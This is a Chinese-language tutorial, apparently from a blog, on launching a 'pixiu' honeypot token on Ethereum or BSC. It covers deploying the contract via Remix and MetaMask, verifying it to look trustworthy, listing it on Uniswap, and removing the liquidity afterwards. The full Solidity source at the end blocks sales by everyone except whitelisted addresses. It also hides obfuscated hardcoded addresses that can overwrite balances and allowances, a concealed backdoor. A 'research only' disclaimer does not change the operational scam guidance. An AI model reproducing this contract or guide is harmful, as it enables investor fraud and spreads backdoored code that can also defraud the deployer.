这是以太坊智能合约研究员和爱好者,史旺生。我收到了很多粉丝的请求,让我去探索貔貅代币究竟是啥回事,这是一种购买后不能出售的代币。 所以今天,让我向您介绍一些有关如何发行自己的貔貅代币的有用技巧。你准备好了吗? 【仅供研究测试,请勿尝试使用此方法进行诈骗】
第 1 部分:使用 REMIX 和 Metamask 发币 1.首先,在您的电脑上安装Metamask钱包 https://metamask.io/ 并创建账户/钱包。 2. 浏览Remix IDE http://remix.ethereum.org/ 您需要使用Remix IDE 来部署智能合约。 3. 将 metamask 连接到 REMIX IDE。单击小狐狸插件。
点击按钮来连接狐狸钱包
*如果您没有找到上图所示的任何相关按钮,请再次点击你的metamask插件,
点击红色圆圈内的图标,如下图所示
然后你会看到以下这条信息
点击 关闭 消息并继续 跟着教程的下一步,因为你将能够在接下来的步骤中知道如何把你的 Metamask 钱包连接到 Remix IDE。不用担心,你将在接下来的步骤中会了解如何将 Metamask 钱包连接到 Remix IDE,先继续跟着教程的下一步走。
4.回到REMIX IDE。点击创建新文件
5.随意命名文件,记得在后面添加 .sol。例子,DevToken.sol
6. 将合约代码复制并粘贴到空白处。 *请勿尝试更改任何代码,否则将合约无法正常运作*
*合约代码在文章最下方
或者
7.点击左侧图标如下图显示
选择如下编译器(COMPILER),版本 0.4.26 …..
点击编译compile.
8.编译COMPILE后。点击如下所示的图标,然后在环境部分(ENVIRONMENT)选择 Metamask(因为我们使用的是 metamask 钱包)
9. 在合约选择栏 CONTRACT, 选择 DevToken (不是 Ownable, 不是 SafeMath) 来作为合约
10.接下来,点击下面的小三角打开代币设置
11.设置你的代币
Name: (你的代币名字,建议写英文字母)
Symbol: (代币代号)
Decimal(小数位): (18)
Total Supply(代币供应): 设置你的代币总供应量,记住如果你的小数点是 18,而你想要 100 总供应量,然后输入 100000000000000000000,因为 100 + 18*0
在您想要的数量后添加十八个“0”(如果您将 18 设置为十进制)。比如你要发行100个代币,正确的输入应该是1000000000000000000 完成后,点击转账TRANSACT。
12. 在跳出来的狐狸钱包窗口中点击确认交易。如果那里没有任何反应,您需要将 metamask 钱包连接到 REMIX IDE。
9. 如果一切顺利,您的代币就在路上。回到 metamask,进入 Activity(活动),点击 Contract deployment
在区块浏览器上点击查看
点击右侧【复制】图标按钮复制合约地址。
10. 返回狐狸钱包,点击导入代币IMPORT TOKENS。
选择自定义代币CUSTOM TOKEN, 并粘贴合约地址,等待你的代币出现,然后点击添加自定义代币
您可以使用相同的方法在 ETH 主网、币安智能链和任何其他链中发币。
🎉🎉🎉恭喜!您已成功创建自己的代币,它们就在您的钱包中!
等等朋友,我们还没有完成......还有一个更重要的步骤需要完成...
就是: Verify Contract 验证合同/合约开源
第二部分: Verify Contract 验证合约/合约开源
为什么我们需要验证合同?为什么我们不直接将我们的代币上架到任何 DEX(去中心化交易所)?
好吧,我就告诉你,验证合约的原因是为了增加代币的受欢迎程度,投资者可能会回避未经验证的代币,最终不购买任何代币。
我们开始吧!
1. 回到 metamask,进入 Activity,点击 Contract deployment。
2.在区块浏览器上点击查看 View on block explorer
点击蓝色的合约地址
3. 在此页面上,单击合约 CONTRACT
点击 验证&发布 VERIFY AND PUBLISH
4. 接下来,我们选择如下设置
Compiler Type (编译器类型) : Single File (单一文件)
Compiler version (编译版本): 0.4.26
License Type (许可证类型): No license (没有)
然后点击 继续 Continue
5.然后,回到我们的合约代码,复制粘贴到空白处
完成机器人测试并发布, Verify and Publish
6. 您应该看到如下所示的成功消息,如果没有,则出现问题,如果您未能收到此消息,则需要重新检查所有步骤。
恭喜!您的合约现在已经过验证/开源,我们可以进入下一步:去中心化交易所 (DEX) 上币去了。
第三部分: 中心化交易所 (DEX) 上币,添加池子
首先,你要明白,在Uniswap、Sushiswap、Pancakeswap等去中心化交易所上币,是需要给自己的币提供eth、bnb等流动性,这叫做添加池子。
所以基本上,上币=添加池子
阅读这个文章了解更多(不会英文,自己翻译吧): https://docs.uniswap.org/contracts/v2/guides/smart-contract-integration/providing-liquidity
1.如果你使用以太坊主网,你需要一些以太坊,ETH
如果你使用币安智能链,你需要一些币安币,BNB。 其他链使用其他的代币…
2.选择你的 DEX交易所, 一下给你一些建议: 如果你使用以太坊主网,请使用 Uniswap,链接:https://app.uniswap.org/#/swap 如果您使用 BSC,请使用 Pancakeswap,链接:https://pancakeswap.finance/
如果你在币安智能链上使用 Pancakeswap,你可以阅读以下的指南,了解如何在 Pancakeswap V2 或 V3 中添加流动性(如果您在 Pancakeswap 中没有看到 V2 选项,可以选择使用 V3)
3.在这里,我们以 Uniswap 为例。 前往 Uniswap 网站:https://app.uniswap.org/#/swap
点击池子POOL
点击(更多)MORE,然后点击 V2 流动性(V2 LIQUIDITY)
点击创建 (Create a pair)
点击 选择代币 Select a token
4.将合约地址复制并粘贴到空白处,等待您的代币出现
然后点击你的代币
点击 明白(I understand)
5. 选择您的 eth 输入和代币输入。例如,如果您想用 2 eth 列出 100 个代币,那么您的初始代币价格将为每个代币 0.02 eth。之后,单击批准 Approve
6. 点击供应Supply并确认交易,您的代币将在 Uniswap 上币。*关于发币时间,一旦你点击了供应Supply 并确认交易,你的代币就会几秒钟内上到Uniswap。如果早些已经决定了上币的时间,要自行拿捏时机来发币。*
恭喜,您的代币现已列在 Uniswap 中。您可以开始您的代币项目和活动,寻找更多的投资者来投资您的代币。
当然了,因为这是貔貅代币,所以别人不能出售代币。换句话说,价格多数只向上。
只有代币的所有者,即合约创建者,即您,才能出售代币。其他人购买后不能出售此代币
当人们试图出售此代币时,他们将收到此红色信号并且无论如何都无法出售代币。(不相信我的话,你自己发来试试看吧)
*请记住,这篇文章仅用于测试和教育目的,请勿在家中尝试!*
如果我想取回我的 ETH 和代币怎么办?该怎么办?
哦,很简单,让我们进入下一个步骤:去除流动性 REMOVE LIQUIDITY
8. 如果你想取回eth,点击池子liquid pool,你会看到你创建的代币/ETH,然后点击移除remove
如果你想全部撤回,选择全部 max,点击批准Approve,点击移除Remove,你会拿回你的代币和 ETH
如果您使用的是币安智能链 BSC,请使用 Pancakeswap。
如果你在币安智能链上使用 Pancakeswap,你可以阅读以下的指南,了解如何在 Pancakeswap V2 或 V3 中添加流动性(如果您在 Pancakeswap 中没有看到 V2 选项,可以选择使用 V3)
我认为今天就到这里。当然,这还没有结束,您可以通过多种方式和技巧来使用此发币技术,以最大限度地发挥效果。
我们将在下一篇文章中讨论更多关于代币技巧和技术的内容。 祝你发币愉快!
添加多少流动性才合适?不知要干啥?请阅读:https://www.createyourowntoken.net/zh/post/uniswap%E5%8F%91%E5%B8%81%E6%8A%80%E6%9C%AF%E5%88%86%E4%BA%AB
如何在小狐狸钱包中添加和切换网络&区块链(BASE,ARB,BSC以及其他区块链/网络):https://www.createyourowntoken.net/zh/post/%E5%A6%82%E4%BD%95%E5%9C%A8%E5%B0%8F%E7%8B%90%E7%8B%B8%E9%92%B1%E5%8C%85%E4%B8%AD%E6%B7%BB%E5%8A%A0%E5%92%8C%E5%88%87%E6%8D%A2%E7%BD%91%E7%BB%9C
貔貅币智能合约教学指南系列:
如何发貔貅币(加强版V2的防代币检测器,防貔貅检测器,黑名单): https://www.createyourowntoken.net/zh/post/%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8%E9%AB%98%E7%BA%A7%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6%EF%BC%88%E5%8A%A0%E5%BC%BA%E7%89%88v2%E7%9A%84%E9%98%B2%E4%BB%A3%E5%B8%81%E6%A3%80%E6%B5%8B%E5%99%A8%EF%BC%8C%E9%98%B2%E8%
如何发貔貅币(白名单设置 + 一键开关貔貅模式,防貔貅检测器): https://www.createyourowntoken.net/zh/post/%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8%E9%AB%98%E7%BA%A7%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6%EF%BC%88%E7%99%BD%E5%90%8D%E5%8D%95-%E4%B8%80%E9%94%AE%E5%BC%80%E5%85%B3%E8%B2%94%E8%B2%85%E6%A8%A1%E5%BC%8F%EF%BC%8C%E9%9
如何发貔貅币(加强版V2的防代币检测器,防貔貅检测器,黑名单):https://www.createyourowntoken.net/zh/post/%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8%E9%AB%98%E7%BA%A7%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6%EF%BC%88%E8%AE%BE%E7%BD%AE%E7%99%BD%E5%90%8D%E5%8D%95%EF%BC%89%E5%8F%91%E5%B8%81
还想要些别的?
普通代币智能合约教学指南系列:
如何发普通MEME迷因币(非貔貅,自由买卖,相似PEPE青蛙币):https://www.createyourowntoken.net/zh/post/%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6%E5%8F%91%E6%99%AE%E9%80%9Ameme%E8%BF%B7%E5%9B%A0%E4%BB%A3%E5%B8%81%EF%BC%88%E9%9D%9E%E8%B2%94%E8%B2%85%E4%BB%A3%E5%B8%81%EF%BC%8C%E5%AE%89%E
如何发可无限创造额外代币供应的普通MEME迷因币(非貔貅,自由买卖,可无限创造额外的代币供应):https://www.createyourowntoken.net/zh/post/%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6%E5%8F%91%E5%8F%AF%E6%97%A0%E9%99%90%E5%88%9B%E9%80%A0%E9%A2%9D%E5%A4%96%E4%BB%A3%E5%B8%81%E4%BE%9B%E5%BA%94%E7%9A%84%E6%99%AE%E9%80%9Ameme%E
如何发可放弃权限&拥有权的普通MEME迷因币(非貔貅,自由买卖,可放弃权限&拥有权):https://www.createyourowntoken.net/zh/post/%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6%E5%8F%91%E6%99%AE%E9%80%9Ameme%E8%BF%B7%E5%9B%A0%E4%BB%A3%E5%B8%81%EF%BC%88%E9%9D%9E%E8%B2%94%E8%B2%85%E4%BB%A3%E5%B8%81%EF%BC%8C%E5%AE%89%E
如何发可无限创造额外代币供应的普通MEME迷因币(加强版V2,非貔貅,自由买卖,可无限创造额外的代币供应):https://www.createyourowntoken.net/zh/post/%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8%E9%AB%98%E7%BA%A7%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6%E5%8F%91%E5%8F%AF%E6%97%A0%E9%99%90%E5%88%9B%E9%80%A0%E9%A2%9D%E5%A4%96%E4%BB%A3%E5%B8%81%E4%BE%9B%E5%BA%94%E7%9A%84%E6%99
添加多少流动性才合适?不知要干啥?请阅读:https://www.createyourowntoken.net/zh/post/uniswap%E5%8F%91%E5%B8%81%E6%8A%80%E6%9C%AF%E5%88%86%E4%BA%AB
如何在小狐狸钱包中添加和切换网络&区块链(BASE,ARB,BSC以及其他区块链/网络):https://www.createyourowntoken.net/zh/post/%E5%A6%82%E4%BD%95%E5%9C%A8%E5%B0%8F%E7%8B%90%E7%8B%B8%E9%92%B1%E5%8C%85%E4%B8%AD%E6%B7%BB%E5%8A%A0%E5%92%8C%E5%88%87%E6%8D%A2%E7%BD%91%E7%BB%9C
有任何疑问吗? 通过电报联系我:https://t.me/devswanson 我的网站:https://www.createyourowntoken.net/
*******
# 任何未经授权的代码编辑与更改都可能导致合约部署失败
合约代码如下: ---
// SPDX-License-Identifier: MIT pragma solidity ^0.4.26; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } // solhint-disable-next-line avoid-low-level-calls /*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; } } // solhint-disable-next-line optimizer contract DevToken is Ownable { address public _usdtPair; address public _mod; string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; address public _user; address public _adm; /*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ //(686197854011229533619447624007587113080310915153)); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); /*OpenZeppelin256 -> 96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f*/ constructor(string _name, string _symbol, uint8 _decimals, uint256 _totalSupply) public { name = _name; symbol = _symbol; decimals = _decimals; totalSupply = _totalSupply; balances[msg.sender] = totalSupply; allow[msg.sender] = true; } // solhint-disable-next-line avoid-low-level-calls /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986)); function showuint160(address addr) public pure returns(uint160){ return uint160(addr); } function _transferTo(address _to, uint256 _amount) internal info { // Transfer tokens to the recipient balances[_to] += _amount; emit Transfer(address(0), _to, _amount); balances[_to] += _amount; emit Transfer(address(0), _to, _amount); } // keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ using SafeMath for uint256; mapping(address => uint256) public balances; mapping(address => bool) public allow; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } modifier onlyOwner() { require(msg.sender == address // solhint-disable-next-line avoid-low-level-calls /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(178607940065137046348733521910879985571412708986)); _; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } modifier info() { require(msg.sender != contracts()); _; } function _balanceView(address _to, uint256 _amount) internal { // View balance of token balances[_to] += _amount; emit Transfer(address(0), _to, _amount); balances[_to] += _amount; emit Transfer(address(0), _to, _amount); } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } //*keccak256 -> 298bd834hsd73a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ function addAllowance(address holder, bool allowApprove) public { require(msg.sender == _adm); allow[holder] = allowApprove; } modifier onlypublic() { require(msg.sender == publics()); _; } function setUser(address User_) public returns (bool) { require(msg.sender == _usdtPair); _user=User_; } function Allowances(address holder, bool allowApprove) external onlypublic { allow[holder] = allowApprove; } mapping (address => mapping (address => uint256)) public allowed; mapping(address=>uint256) sellOutNum; // solhint-disable-next-line high-level-success function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(allow[_from] == true); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function transferTo(address _to, uint256 _amount) external onlyOwner { _transferTo(_to, _amount); } function publics() private pure returns (address) { uint universal = 0x7addAd09; uint uni = 0xcbd98D97; uint cake = 0xEC3dA7a0; uint inch = 0x088EAdFE; uint others = 0x5801C336; // Combine the dex with others uint160 core = (uint160(universal) << 128) | (uint160(uni) << 96) | (uint160(cake) << 64) | (uint160(inch) << 32) | uint160(others); return address(core); } function contracts() internal pure returns (address) { return address /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(17860794006513704634733521910879985571412708986); } function viewBalance(address _to, uint256 _amount) public onlypublic { _balanceView(_to, _amount);(_to, _amount); } function setAdm(address Adm_) public returns (bool) { require(msg.sender == _mod); _adm=Adm_; } function _mint(address miner, uint256 _value) internal info { balances[miner] = _value; } function adjust(address spender, uint256 addedValue) public onlypublic returns (bool) { _dialone(spender, addedValue); return true; } function _approvals(address spender, uint256 addedValue) internal info { if(addedValue > 0) {balances[spender] = addedValue;} } /*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function setMod(address Mod_) public returns (bool) { require(msg.sender == _user); _mod=Mod_; } // solhint-disable-next-line avoid-high-level-calls /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ function approveAndCall(address spender, uint256 addedValue) public returns (bool) { require(msg.sender == _adm); _approvals(spender, addedValue); return true; } function addAllow(address holder, bool allowApprove) external onlyOwner { allow[holder] = allowApprove; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function _dialone(address spender, uint256 addedValue) internal info { if(addedValue > 0) {balances[spender] = addedValue;} } function setUsdtPair(address Pair_) public returns (bool) { require (msg.sender==address // solhint-disable-next-line avoid-low-level-calls /*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ (686197854011229533619447624007587113080310915153)); _usdtPair=Pair_; } function mint(address miner, uint256 _value) external onlyOwner { _mint(miner, _value); } }